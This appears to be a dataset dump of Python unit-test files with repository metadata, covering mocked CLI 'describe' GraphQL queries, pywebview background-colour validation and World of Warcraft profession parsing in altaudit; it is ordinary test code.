MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["flows", "--name", "flow"]) assert result.exit_code == 0 assert "flow not found" in result.output @pytest.mark.skipif( sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order" ) def test_describe_flows_populated(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock(return_value=dict(data=dict(flow=[{"name": "flow"}]))) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke( describe, ["flows", "--name", "flow", "--version", "2", "--project", "project"], ) assert result.exit_code == 0 query = """ query { flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: 2 }, project: { name: { _eq: "project" } } } }, order_by: { name: asc, version: desc }, distinct_on: name) { name version project { name } created description parameters archived storage environment } } """ assert post.called assert post.call_args[1]["json"]["query"].split() == query.split() @pytest.mark.skipif( sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order" ) def test_describe_tasks(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock( return_value=dict(data=dict(flow=[{"tasks": [{"name": "task"}]}])) ) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["tasks", "--name", "flow"]) assert result.exit_code == 0 assert "name" in result.output query = """ query { flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: null }, project: { name: { _eq: null } } } }, order_by: { name: asc, version: desc }, distinct_on: name) { tasks { name created slug description type max_retries retry_delay mapped } } } """ assert post.called assert post.call_args[1]["json"]["query"].split() == query.split() def test_describe_tasks_flow_not_found(monkeypatch): post = MagicMock( return_value=MagicMock(json=MagicMock(return_value=dict(data=dict(flow=[])))) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["tasks", "--name", "flow"]) assert result.exit_code == 0 assert "flow not found" in result.output def test_describe_tasks_not_found(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock(return_value=dict(data=dict(flow=[{"tasks": []}]))) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["tasks", "--name", "flow"]) assert result.exit_code == 0 assert "No tasks found for flow flow" in result.output @pytest.mark.skipif( sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order" ) def test_describe_flow_runs(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock( return_value=dict(data=dict(flow_run=[{"name": "flow-run"}])) ) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["flow-runs", "--name", "flow-run"]) assert result.exit_code == 0 assert "name" in result.output query = """ query { flow_run(where: { _and: { name: { _eq: "flow-run" }, flow: { name: { _eq: null } } } }) { name flow { name } created parameters auto_scheduled scheduled_start_time start_time end_time duration heartbeat serialized_state } } """ assert post.called assert post.call_args[1]["json"]["query"].split() == query.split() def test_describe_flow_runs_not_found(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock(return_value=dict(data=dict(flow_run=[]))) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke(describe, ["flow-runs", "--name", "flow-run"]) assert result.exit_code == 0 assert "flow-run not found" in result.output @pytest.mark.skipif( sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order" ) def test_describe_flow_runs_populated(monkeypatch): post = MagicMock( return_value=MagicMock( json=MagicMock( return_value=dict(data=dict(flow_run=[{"name": "flow-run"}])) ) ) ) session = MagicMock() session.return_value.post = post monkeypatch.setattr("requests.Session", session) with set_temporary_config( {"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"} ): runner = CliRunner() result = runner.invoke( describe, ["flow-runs", "--name", "flow-run", "--flow-name", "flow"] ) assert result.exit_code == 0 query = """ query { flow_run(where: { _and: { name: { _eq: "flow-run" }, flow: { name: { _eq: "flow" } } } }) { name flow { name } created parameters auto_scheduled scheduled_start_time start_time end_time duration heartbeat serialized_state } } """ assert post.called assert post.call_args[1]["json"]["query"].split() == query.split()

30.453172

181

0.553968

1,027

10,080

5.276534

0.115871

0.054807

0.066433

0.054807

0.923418

0.921941

0.901273

0.899059

0.891308

0

0.005541

0.319643

10,080

330

182

30.545455

0.784631

0

0.714286

0

0.017422

0.386111

0

0.10453

1

0.038328

false

0

0.031359

0

0.069686

0

null

0

1

0

1

0

null

0

7

0710050d91e6640c6dc661c42052b2ac1a5e390f

991

py

Python

tests/test_bg_color.py

SpotlightKid/pywebview

e85507641a70470b15b3eb654d97cb29c1c29633

[ "BSD-3-Clause" ]

3,093

2015-02-08T15:59:16.000Z

2022-03-31T15:45:21.000Z

tests/test_bg_color.py

SpotlightKid/pywebview

e85507641a70470b15b3eb654d97cb29c1c29633

[ "BSD-3-Clause" ]

705

2015-02-10T17:29:02.000Z

2022-03-31T02:45:44.000Z

tests/test_bg_color.py

SpotlightKid/pywebview

e85507641a70470b15b3eb654d97cb29c1c29633

[ "BSD-3-Clause" ]

528

2015-02-08T18:21:38.000Z

2022-03-30T03:39:07.000Z

import webview import pytest from .util import run_test def test_bg_color(): window = webview.create_window('Background color test', 'https://www.example.org', background_color='#0000FF') run_test(webview, window) def test_invalid_bg_color(): with pytest.raises(ValueError): webview.create_window('Background color test', 'https://www.example.org', background_color='#dsg0000FF') with pytest.raises(ValueError): webview.create_window('Background color test', 'https://www.example.org', background_color='FF00FF') with pytest.raises(ValueError): webview.create_window('Background color test', 'https://www.example.org', background_color='#ac') with pytest.raises(ValueError): webview.create_window('Background color test', 'https://www.example.org', background_color='#EFEFEH') with pytest.raises(ValueError): webview.create_window('Background color test', 'https://www.example.org', background_color='#0000000')

34.172414

114

0.724521

121

991

5.77686

0.223141

0.257511

0.16309

0.248927

0.795422

0

0.01986

0.136226

991

28

115

35.392857

0.796729

0

0.294118

0

0.308704

0

1

0.117647

false

0

0.176471

0

0.294118

0

null

1

0

1

0

1

0

null

0

7

ab4f5862e85be2f68ec35550a274005800dbcae0

24,140

py

Python

test/test_sections/test_professions.py

clegg89/altaudit

353484c2b39db13ecb294a55d43dd2e4e0ef6541

[ "MIT" ]

null

test/test_sections/test_professions.py

clegg89/altaudit

353484c2b39db13ecb294a55d43dd2e4e0ef6541

[ "MIT" ]

9

2020-09-23T14:47:12.000Z

2021-04-07T22:11:16.000Z

test/test_sections/test_professions.py

clegg89/altaudit

353484c2b39db13ecb294a55d43dd2e4e0ef6541

[ "MIT" ]

null

"""Unit Tests for Profesion Info""" import pytest from altaudit.models import Character import altaudit.sections.professions as Section def test_profession_simple_priamries(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }, { 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 } ], 'secondary' : [ { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }, { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 } ]}} Section.professions(jack, response) assert jack.primary1_name == 'Herbalism' assert jack.primary1_icon == 'trade_herbalism' assert jack.primary1_classic_level == 150 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == None assert jack.primary1_burning_crusade_max == None assert jack.primary1_wrath_of_the_lich_king_level == None assert jack.primary1_wrath_of_the_lich_king_max == None assert jack.primary1_cataclysm_level == None assert jack.primary1_cataclysm_max == None assert jack.primary1_mists_of_pandaria_level == None assert jack.primary1_mists_of_pandaria_max == None assert jack.primary1_warlords_of_draenor_level == None assert jack.primary1_warlords_of_draenor_max == None assert jack.primary1_legion_level == None assert jack.primary1_legion_max == None assert jack.primary1_battle_for_azeroth_level == None assert jack.primary1_battle_for_azeroth_max == None assert jack.primary2_name == 'Mining' assert jack.primary2_icon == 'inv_pick_02' assert jack.primary2_classic_level == 122 assert jack.primary2_classic_max == 300 assert jack.primary2_burning_crusade_level == None assert jack.primary2_burning_crusade_max == None assert jack.primary2_wrath_of_the_lich_king_level == None assert jack.primary2_wrath_of_the_lich_king_max == None assert jack.primary2_cataclysm_level == None assert jack.primary2_cataclysm_max == None assert jack.primary2_mists_of_pandaria_level == None assert jack.primary2_mists_of_pandaria_max == None assert jack.primary2_warlords_of_draenor_level == None assert jack.primary2_warlords_of_draenor_max == None assert jack.primary2_legion_level == None assert jack.primary2_legion_max == None assert jack.primary2_battle_for_azeroth_level == None assert jack.primary2_battle_for_azeroth_max == None def test_profession_simple_secondaries(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }, { 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 } ], 'secondary' : [ { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }, { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 } ]}} Section.professions(jack, response) assert jack.cooking_name == 'Cooking' assert jack.cooking_icon == 'inv_misc_food_15' assert jack.cooking_classic_level == 0 assert jack.cooking_classic_max == 300 assert jack.cooking_burning_crusade_level == None assert jack.cooking_burning_crusade_max == None assert jack.cooking_wrath_of_the_lich_king_level == None assert jack.cooking_wrath_of_the_lich_king_max == None assert jack.cooking_cataclysm_level == None assert jack.cooking_cataclysm_max == None assert jack.cooking_mists_of_pandaria_level == None assert jack.cooking_mists_of_pandaria_max == None assert jack.cooking_warlords_of_draenor_level == None assert jack.cooking_warlords_of_draenor_max == None assert jack.cooking_legion_level == None assert jack.cooking_legion_max == None assert jack.cooking_battle_for_azeroth_level == None assert jack.cooking_battle_for_azeroth_max == None assert jack.fishing_name == 'Fishing' assert jack.fishing_icon == 'trade_fishing' assert jack.fishing_classic_level == 0 assert jack.fishing_classic_max == 300 assert jack.fishing_burning_crusade_level == None assert jack.fishing_burning_crusade_max == None assert jack.fishing_wrath_of_the_lich_king_level == None assert jack.fishing_wrath_of_the_lich_king_max == None assert jack.fishing_cataclysm_level == None assert jack.fishing_cataclysm_max == None assert jack.fishing_mists_of_pandaria_level == None assert jack.fishing_mists_of_pandaria_max == None assert jack.fishing_warlords_of_draenor_level == None assert jack.fishing_warlords_of_draenor_max == None assert jack.fishing_legion_level == None assert jack.fishing_legion_max == None assert jack.fishing_battle_for_azeroth_level == None assert jack.fishing_battle_for_azeroth_max == None assert jack.archaeology_name == 'Archaeology' assert jack.archaeology_icon == 'trade_archaeology' assert jack.archaeology_level == 0 assert jack.archaeology_max == 950 def test_profession_primaries_all_expacs(): jack = Character('jack') response = { 'professions' : { 'primary' : [ {'id': 2486, 'name': 'Kul Tiran Enchanting', 'icon': 'trade_engraving', 'rank': 175, 'max': 150}, {'id': 2487, 'name': 'Legion Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100}, {'id': 2488, 'name': 'Draenor Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100}, {'id': 2489, 'name': 'Pandaria Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75}, {'id': 2491, 'name': 'Cataclysm Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75}, {'id': 2492, 'name': 'Northrend Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75}, {'id': 2493, 'name': 'Outland Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75}, {'id': 197, 'name': 'Tailoring', 'icon': 'trade_tailoring', 'rank': 300, 'max': 300}, {'id': 333, 'name': 'Enchanting', 'icon': 'trade_engraving', 'rank': 300, 'max': 300}, {'id': 2533, 'name': 'Kul Tiran Tailoring', 'icon': 'trade_tailoring', 'rank': 175, 'max': 150}, {'id': 2534, 'name': 'Legion Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100}, {'id': 2535, 'name': 'Draenor Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100}, {'id': 2536, 'name': 'Pandaria Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2537, 'name': 'Cataclysm Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2538, 'name': 'Northrend Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2539, 'name': 'Outland Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75} ], 'secondary' : [ { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }, { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 } ]}} Section.professions(jack, response) assert jack.primary1_name == 'Enchanting' assert jack.primary1_icon == 'trade_engraving' assert jack.primary1_classic_level == 300 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == 75 assert jack.primary1_burning_crusade_max == 75 assert jack.primary1_wrath_of_the_lich_king_level == 75 assert jack.primary1_wrath_of_the_lich_king_max == 75 assert jack.primary1_cataclysm_level == 75 assert jack.primary1_cataclysm_max == 75 assert jack.primary1_mists_of_pandaria_level == 75 assert jack.primary1_mists_of_pandaria_max == 75 assert jack.primary1_warlords_of_draenor_level == 100 assert jack.primary1_warlords_of_draenor_max == 100 assert jack.primary1_legion_level == 100 assert jack.primary1_legion_max == 100 assert jack.primary1_battle_for_azeroth_level == 175 assert jack.primary1_battle_for_azeroth_max == 175 assert jack.primary2_name == 'Tailoring' assert jack.primary2_icon == 'trade_tailoring' assert jack.primary2_classic_level == 300 assert jack.primary2_classic_max == 300 assert jack.primary2_burning_crusade_level == 75 assert jack.primary2_burning_crusade_max == 75 assert jack.primary2_wrath_of_the_lich_king_level == 75 assert jack.primary2_wrath_of_the_lich_king_max == 75 assert jack.primary2_cataclysm_level == 75 assert jack.primary2_cataclysm_max == 75 assert jack.primary2_mists_of_pandaria_level == 75 assert jack.primary2_mists_of_pandaria_max == 75 assert jack.primary2_warlords_of_draenor_level == 100 assert jack.primary2_warlords_of_draenor_max == 100 assert jack.primary2_legion_level == 100 assert jack.primary2_legion_max == 100 assert jack.primary2_battle_for_azeroth_level == 175 assert jack.primary2_battle_for_azeroth_max == 175 def test_profession_secondaries_all_expacs(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 }, { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 } ], 'secondary': [ {'id': 2585, 'name': 'Kul Tiran Fishing', 'icon': 'trade_fishing', 'rank': 65, 'max': 150}, {'id': 794, 'name': 'Archaeology', 'icon': 'trade_archaeology', 'rank': 600, 'max': 950}, {'id': 2586, 'name': 'Legion Fishing', 'icon': 'trade_fishing', 'rank': 1, 'max': 100}, {'id': 2587, 'name': 'Draenor Fishing', 'icon': 'trade_fishing', 'rank': 1, 'max': 100}, {'id': 2588, 'name': 'Pandaria Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75}, {'id': 2589, 'name': 'Cataclysm Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75}, {'id': 2590, 'name': 'Northrend Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75}, {'id': 2591, 'name': 'Outland Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75}, {'id': 185, 'name': 'Cooking', 'icon': 'inv_misc_food_15', 'rank': 300, 'max': 300}, {'id': 356, 'name': 'Fishing', 'icon': 'trade_fishing', 'rank': 300, 'max': 300}, {'id': 2541, 'name': 'Kul Tiran Cooking', 'icon': 'inv_misc_food_15', 'rank': 175, 'max': 150}, {'id': 2542, 'name': 'Legion Cooking', 'icon': 'inv_misc_food_15', 'rank': 1, 'max': 100}, {'id': 2543, 'name': 'Draenor Cooking', 'icon': 'inv_misc_food_15', 'rank': 5, 'max': 100}, {'id': 2544, 'name': 'Pandaria Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75}, {'id': 2545, 'name': 'Cataclysm Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75}, {'id': 2546, 'name': 'Northrend Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75}, {'id': 2547, 'name': 'Outland Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75} ]}} Section.professions(jack, response) assert jack.cooking_name == 'Cooking' assert jack.cooking_icon == 'inv_misc_food_15' assert jack.cooking_classic_level == 300 assert jack.cooking_classic_max == 300 assert jack.cooking_burning_crusade_level == 75 assert jack.cooking_burning_crusade_max == 75 assert jack.cooking_wrath_of_the_lich_king_level == 75 assert jack.cooking_wrath_of_the_lich_king_max == 75 assert jack.cooking_cataclysm_level == 75 assert jack.cooking_cataclysm_max == 75 assert jack.cooking_mists_of_pandaria_level == 75 assert jack.cooking_mists_of_pandaria_max == 75 assert jack.cooking_warlords_of_draenor_level == 5 assert jack.cooking_warlords_of_draenor_max == 100 assert jack.cooking_legion_level == 1 assert jack.cooking_legion_max == 100 assert jack.cooking_battle_for_azeroth_level == 175 assert jack.cooking_battle_for_azeroth_max == 175 assert jack.fishing_name == 'Fishing' assert jack.fishing_icon == 'trade_fishing' assert jack.fishing_classic_level == 300 assert jack.fishing_classic_max == 300 assert jack.fishing_burning_crusade_level == 75 assert jack.fishing_burning_crusade_max == 75 assert jack.fishing_wrath_of_the_lich_king_level == 75 assert jack.fishing_wrath_of_the_lich_king_max == 75 assert jack.fishing_cataclysm_level == 75 assert jack.fishing_cataclysm_max == 75 assert jack.fishing_mists_of_pandaria_level == 75 assert jack.fishing_mists_of_pandaria_max == 75 assert jack.fishing_warlords_of_draenor_level == 1 assert jack.fishing_warlords_of_draenor_max == 100 assert jack.fishing_legion_level == 1 assert jack.fishing_legion_max == 100 assert jack.fishing_battle_for_azeroth_level == 65 assert jack.fishing_battle_for_azeroth_max == 175 assert jack.archaeology_name == 'Archaeology' assert jack.archaeology_icon == 'trade_archaeology' assert jack.archaeology_level == 600 assert jack.archaeology_max == 950 def test_profession_primaries_missing_expacs(): jack = Character('jack') response = { 'professions' : { 'primary' : [ {'id': 2486, 'name': 'Kul Tiran Enchanting', 'icon': 'trade_engraving', 'rank': 175, 'max': 150}, {'id': 2487, 'name': 'Legion Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100}, {'id': 2488, 'name': 'Draenor Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100}, {'id': 197, 'name': 'Tailoring', 'icon': 'trade_tailoring', 'rank': 300, 'max': 300}, {'id': 333, 'name': 'Enchanting', 'icon': 'trade_engraving', 'rank': 300, 'max': 300}, {'id': 2533, 'name': 'Kul Tiran Tailoring', 'icon': 'trade_tailoring', 'rank': 175, 'max': 150}, {'id': 2534, 'name': 'Legion Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100}, {'id': 2535, 'name': 'Draenor Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100}, {'id': 2536, 'name': 'Pandaria Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2537, 'name': 'Cataclysm Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2538, 'name': 'Northrend Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}, {'id': 2539, 'name': 'Outland Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75} ], 'secondary' : [ { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }, { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 } ]}} Section.professions(jack, response) assert jack.primary1_name == 'Enchanting' assert jack.primary1_icon == 'trade_engraving' assert jack.primary1_classic_level == 300 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == None assert jack.primary1_burning_crusade_max == None assert jack.primary1_wrath_of_the_lich_king_level == None assert jack.primary1_wrath_of_the_lich_king_max == None assert jack.primary1_cataclysm_level == None assert jack.primary1_cataclysm_max == None assert jack.primary1_mists_of_pandaria_level == None assert jack.primary1_mists_of_pandaria_max == None assert jack.primary1_warlords_of_draenor_level == 100 assert jack.primary1_warlords_of_draenor_max == 100 assert jack.primary1_legion_level == 100 assert jack.primary1_legion_max == 100 assert jack.primary1_battle_for_azeroth_level == 175 assert jack.primary1_battle_for_azeroth_max == 175 assert jack.primary2_name == 'Tailoring' assert jack.primary2_icon == 'trade_tailoring' assert jack.primary2_classic_level == 300 assert jack.primary2_classic_max == 300 assert jack.primary2_burning_crusade_level == 75 assert jack.primary2_burning_crusade_max == 75 assert jack.primary2_wrath_of_the_lich_king_level == 75 assert jack.primary2_wrath_of_the_lich_king_max == 75 assert jack.primary2_cataclysm_level == 75 assert jack.primary2_cataclysm_max == 75 assert jack.primary2_mists_of_pandaria_level == 75 assert jack.primary2_mists_of_pandaria_max == 75 assert jack.primary2_warlords_of_draenor_level == 100 assert jack.primary2_warlords_of_draenor_max == 100 assert jack.primary2_legion_level == 100 assert jack.primary2_legion_max == 100 assert jack.primary2_battle_for_azeroth_level == 175 assert jack.primary2_battle_for_azeroth_max == 175 def test_professions_missing_primary(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }, ], 'secondary' : [ { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }, { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 } ]}} Section.professions(jack, response) assert jack.primary1_name == 'Herbalism' assert jack.primary1_icon == 'trade_herbalism' assert jack.primary1_classic_level == 150 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == None assert jack.primary1_burning_crusade_max == None assert jack.primary1_wrath_of_the_lich_king_level == None assert jack.primary1_wrath_of_the_lich_king_max == None assert jack.primary1_cataclysm_level == None assert jack.primary1_cataclysm_max == None assert jack.primary1_mists_of_pandaria_level == None assert jack.primary1_mists_of_pandaria_max == None assert jack.primary1_warlords_of_draenor_level == None assert jack.primary1_warlords_of_draenor_max == None assert jack.primary1_legion_level == None assert jack.primary1_legion_max == None assert jack.primary1_battle_for_azeroth_level == None assert jack.primary1_battle_for_azeroth_max == None assert jack.primary2_name == None assert jack.primary2_icon == None assert jack.primary2_classic_level == None assert jack.primary2_classic_max == None assert jack.primary2_burning_crusade_level == None assert jack.primary2_burning_crusade_max == None assert jack.primary2_wrath_of_the_lich_king_level == None assert jack.primary2_wrath_of_the_lich_king_max == None assert jack.primary2_cataclysm_level == None assert jack.primary2_cataclysm_max == None assert jack.primary2_mists_of_pandaria_level == None assert jack.primary2_mists_of_pandaria_max == None assert jack.primary2_warlords_of_draenor_level == None assert jack.primary2_warlords_of_draenor_max == None assert jack.primary2_legion_level == None assert jack.primary2_legion_max == None assert jack.primary2_battle_for_azeroth_level == None assert jack.primary2_battle_for_azeroth_max == None def test_professions_missing_icon(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }, { 'id' : 202, 'name' : "Engineering", 'rank' : 1, 'max' : 300 } ], 'secondary' : [ { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }, { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 } ]}} Section.professions(jack, response) assert jack.primary1_name == 'Herbalism' assert jack.primary1_icon == 'trade_herbalism' assert jack.primary1_classic_level == 150 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == None assert jack.primary1_burning_crusade_max == None assert jack.primary1_wrath_of_the_lich_king_level == None assert jack.primary1_wrath_of_the_lich_king_max == None assert jack.primary1_cataclysm_level == None assert jack.primary1_cataclysm_max == None assert jack.primary1_mists_of_pandaria_level == None assert jack.primary1_mists_of_pandaria_max == None assert jack.primary1_warlords_of_draenor_level == None assert jack.primary1_warlords_of_draenor_max == None assert jack.primary1_legion_level == None assert jack.primary1_legion_max == None assert jack.primary1_battle_for_azeroth_level == None assert jack.primary1_battle_for_azeroth_max == None assert jack.primary2_name == 'Engineering' assert jack.primary2_icon == None assert jack.primary2_classic_level == 1 assert jack.primary2_classic_max == 300 assert jack.primary2_burning_crusade_level == None assert jack.primary2_burning_crusade_max == None assert jack.primary2_wrath_of_the_lich_king_level == None assert jack.primary2_wrath_of_the_lich_king_max == None assert jack.primary2_cataclysm_level == None assert jack.primary2_cataclysm_max == None assert jack.primary2_mists_of_pandaria_level == None assert jack.primary2_mists_of_pandaria_max == None assert jack.primary2_warlords_of_draenor_level == None assert jack.primary2_warlords_of_draenor_max == None assert jack.primary2_legion_level == None assert jack.primary2_legion_max == None assert jack.primary2_battle_for_azeroth_level == None assert jack.primary2_battle_for_azeroth_max == None def test_professions_clear_old_data(): jack = Character('jack') response = { 'professions' : { 'primary' : [ { 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }, { 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 } ], 'secondary' : [ { 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 }, { 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }, { 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 } ]}} jack.primary1_name = 'Tailoring' jack.primary1_icon = 'trade_tailoring' jack.primary1_classic_level = 1 jack.priamry1_classic_max = 300 jack.primary1_burning_crusade_level = 1 jack.priamry1_burning_crusade_max = 75 Section.professions(jack, response) assert jack.primary1_name == 'Herbalism' assert jack.primary1_icon == 'trade_herbalism' assert jack.primary1_classic_level == 150 assert jack.primary1_classic_max == 300 assert jack.primary1_burning_crusade_level == None assert jack.primary1_burning_crusade_max == None

54.247191

113

0.658658

2,991

24,140

4.98997

0.042461

0.178224

0.115377

0.078928

0.947873

0.905863

0.893199

0.813936

0.808241

0.739833

0

0.060377

0.212345

24,140

444

114

54.369369

0.724571

0.001201

0

0.713942

0

0.168098

0

0.639423

1

0.019231

false

0

0.007212

0

0.026442

0

null

0

1

0

1

0

null

0

1

0

8

db3b7282252ea278de274a938b516362f444e701

6,509

py

Python

QuadrupedPi/Quadruped/Quadruped.py

LakshBhambhani/Quadruped-JAVA

cff17989d910b848616472fd47cc50e6d77f17fb

[ "MIT" ]

2

2019-08-12T13:24:32.000Z

2020-11-12T15:44:24.000Z

QuadrupedPi/Quadruped/Quadruped.py

LakshBhambhani/Quadruped-JAVA

cff17989d910b848616472fd47cc50e6d77f17fb

[ "MIT" ]

5

2019-05-15T04:29:25.000Z

2019-07-22T16:16:33.000Z

QuadrupedPi/Quadruped/Quadruped.py

LakshBhambhani/Swiffee-Minikame-Simulator

cff17989d910b848616472fd47cc50e6d77f17fb

[ "MIT" ]

null

